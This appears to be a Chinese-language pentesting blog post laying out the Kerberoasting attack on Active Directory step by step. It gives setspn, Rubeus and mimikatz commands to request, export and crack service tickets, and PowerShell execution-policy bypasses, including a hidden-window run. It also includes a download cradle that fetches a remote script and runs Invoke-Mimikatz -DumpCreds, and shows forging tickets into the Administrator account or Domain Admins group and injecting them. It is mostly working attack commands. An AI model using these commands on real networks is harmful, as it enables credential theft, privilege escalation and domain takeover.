域渗透-kerberoast Attack

攻击简介

过程:

查询SPN,找到有价值的SPN,需要满足以下条件:

	1、该SPN注册在域用户帐户(Users)2、域用户账户的权限很高
	3、请求TGS
	4、导出TGS
	5、暴力破解
SETSPN
setspn -A HOST/AD.test.com  test     	#给账号申请SPN
机器:AD.test.com  帐号:test   服务:HOST 

若有些服务有端口,则可以直接这样写:
setspn -A HTTP/AD.test.com:80  test

setspn -q */*                  			#查询
setspn -d  HOST/AD.test.com  test		#删除SPN

(当前所在计算机必须有设置SPN的权限)
例如:
域渗透-kerberoast Attack_第1张图片
通过web用户给De1ta设置spn然后通过Kerberoasting去暴力破解De1ta用户的密码


Rubeus
Rubeus.exe kerberoast   

导出hash,可以直接使用hashcat破解
并且此时已经申请到TGS并写入到了内存
此时我们可以用mimikatz提取票据 kerberos::list /export

Invoke-Kerberoast

这个平时用得比较少,自己还是习惯使用Rubeus
有时候powershell是禁止执行脚本的,这个时候需要管理员权限

运行get-executionpolicy,如果结果是Restricted,那表示禁止执行脚本
允许执行脚本:set-executionpolicy -executionpolicy unrestricted

也可以直接绕过
本地权限绕过:

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

地隐藏权限绕过:

PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1

IEX下载远程PS1脚本权限绕过执行:

powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘http://网址/对应脚本名称’); Invoke-Mimikatz -DumpCreds”

服务票据重写&RAM注入

Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 #设置到高权限账户
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512#设置到高权限组

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。

kerberos::ptt PENTESTLAB.kirbi

你可能感兴趣的:(渗透测试)